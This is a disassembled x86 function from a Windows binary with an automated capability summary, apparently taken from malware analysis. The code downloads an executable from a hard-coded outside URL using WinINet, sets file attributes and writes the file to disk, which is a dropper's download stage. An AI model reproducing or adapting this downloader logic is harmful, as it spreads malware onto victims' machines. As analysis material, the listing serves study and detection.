Function at 0x4023e0
Capabilities:
Create http request
Get http content length
Read data from internet
Receive data
Reference http user-agent string
Set file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41d5a6
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x4f0
mov eax, dword [0x428080]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov byte [ebp - 0x4d9], dl
push 0
push 0
push 0
push 1
push str.Mozilla_5.0
mov dword [ebp - 4], 0
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
mov dword [ebp - 0x500], edi
test edi, edi
je 0x40248d
push 4
lea eax, [ebp - 0x420]
mov dword [ebp - 0x420], 0x1388
push eax
push 2
push edi
call dword [sym.imp.WININET.dll_InternetSetOptionW]
push 0
push 0x80000000
push 0
push 0
push str.https:__cdn.ogulniega.ct8.pl_files_test_xd.exe
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
test esi, esi
jne 0x4024d1
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov byte [ebp - 0x4d9], 0
mov ecx, dword [ebx + 0x1c]
cmp ecx, 7
jbe 0x40288d
mov edx, dword [ebx + 8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402883
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4028b1
jmp 0x402883
push 0
lea eax, [ebp - 0x424]
mov dword [ebp - 0x428], 0
push eax
lea eax, [ebp - 0x428]
mov dword [ebp - 0x424], 4
push eax
push 0x20000005
push esi
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
push 0xb0
lea eax, [ebp - 0x4d8]
push 0
push eax
call fcn.00407a20
cmp dword [ebx + 0x1c], 7
lea eax, [ebx + 8]
lea ecx, [ebp - 0x4d8]
cmova eax, dword [ebx + 8]
push eax
call fcn.004042e0
mov eax, dword [ebp - 0x4d8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x4dc], eax
cmp byte [ebp - 0x4d9], 0
mov byte [ebp - 4], 1
je 0x402733
cmp dword [ebx + 0x1c], 7
lea eax, [ebx + 8]
mov edi, dword [ebx + 0x18]
xorps xmm0, xmm0
cmova eax, dword [ebx + 8]
mov dword [ebp - 0x4e8], 0
mov dword [ebp - 0x4e4], 0
mov dword [ebp - 0x4fc], edi
mov dword [ebp - 0x4e0], eax
push 2
movups xmmword [ebp - 0x4f8], xmm0
cmp edi, 0x7ffffffe
ja 0x4028b6
mov dword [ebp - 0x4e4], 7
cmp edi, 7
ja 0x4025cd
mov dword [ebp - 0x4e8], edi
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x4f8], xmm0
jmp 0x402676
or edi, 7
cmp edi, 0x7ffffffe
jbe 0x4025e6
mov eax, 0x7fffffff
mov edi, 0x7ffffffe
add eax, eax
jmp 0x402607
mov eax, 0xa
cmp edi, eax
cmovb edi, eax
lea eax, [edi + 1]
cmp eax, 0x7fffffff
ja 0x4028c0
add eax, eax
cmp eax, 0x1000
jb 0x40262e
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x4028c0
push ecx
call fcn.00406069
add esp, 4
test eax, eax
je 0x4028bb
lea ecx, [eax + 0x23]
and ecx, 0xffffffe0
mov dword [ecx - 4], eax
jmp 0x402641
test eax, eax
je 0x40263f
push eax
call fcn.00406069
add esp, 4
mov ecx, eax
jmp 0x402641
xor ecx, ecx
mov eax, dword [ebp - 0x4fc]
mov dword [ebp - 0x4e8], eax
mov dword [ebp - 0x4f8], ecx
mov dword [ebp - 0x4e4], edi
lea eax, [eax*2 + 2]
push eax
push dword [ebp - 0x4e0]
push ecx
call fcn.004074a0
mov edi, dword [ebp - 0x4e8]
add esp, 0xc
xor ecx, ecx
mov byte [ebp - 4], 2
lea eax, [edi + 1]
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004060ac
add esp, 4
mov dword [ebp - 0x4e0], eax
cmp dword [ebp - 0x4e4], 7
lea ecx, [ebp - 0x4f8]
cmova ecx, dword [ebp - 0x4f8]
push 0xffffffffffffffff
push ecx
lea ecx, [edi + 1]
push ecx
push eax
call fcn.0040c278
mov byte [ebp - 4], 1
add esp, 0x10
mov ecx, dword [ebp - 0x4e4]
cmp ecx, 7
jbe 0x402704
mov edx, dword [ebp - 0x4f8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4026fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4028bb
push ecx
push edx
call fcn.0040609e
add esp, 8
push dword [ebp - 0x4e0]
xor eax, eax
mov dword [ebp - 0x4e8], 0
mov dword [ebp - 0x4e4], 7
mov word [ebp - 0x4f8], ax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov edi, dword [ebp - 0x500]
mov eax, dword [ebp - 0x4d8]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x4cc], 6
je 0x40275e
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov byte [ebp - 0x4d9], 0
jmp 0x402808
lea eax, [ebp - 0x41c]
push eax
push 0x400
lea eax, [ebp - 0x418]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4027bd
nop dword [eax]
mov eax, dword [ebp - 0x41c]
test eax, eax
je 0x4027bd
push 0
push eax
lea eax, [ebp - 0x418]
push eax
lea ecx, [ebp - 0x4d8]
call fcn.00403a00
lea eax, [ebp - 0x41c]
push eax
push 0x400
lea eax, [ebp - 0x418]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x402780
lea ecx, [ebp - 0x4d4]
call fcn.004041c0
test eax, eax
jne 0x4027f5
mov eax, dword [ebp - 0x4d8]
lea ecx, [ebp - 0x4d8]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00401cb0
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov byte [ebp - 0x4d9], 1
mov eax, dword [ebp - 0x4d8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x4dc], eax
lea ecx, [ebp - 0x4d4]
call fcn.00403690
mov eax, dword [ebp - 0x4d8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x4dc], eax
lea eax, [ebp - 0x470]
mov byte [ebp - 4], 3
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0040598b
add esp, 4
jmp 0x402494
push ecx
push edx
call fcn.0040609e
add esp, 8
mov al, byte [ebp - 0x4d9]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00406056
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0040c159
call fcn.004011f0
call fcn.0040c159
call fcn.00401150
int3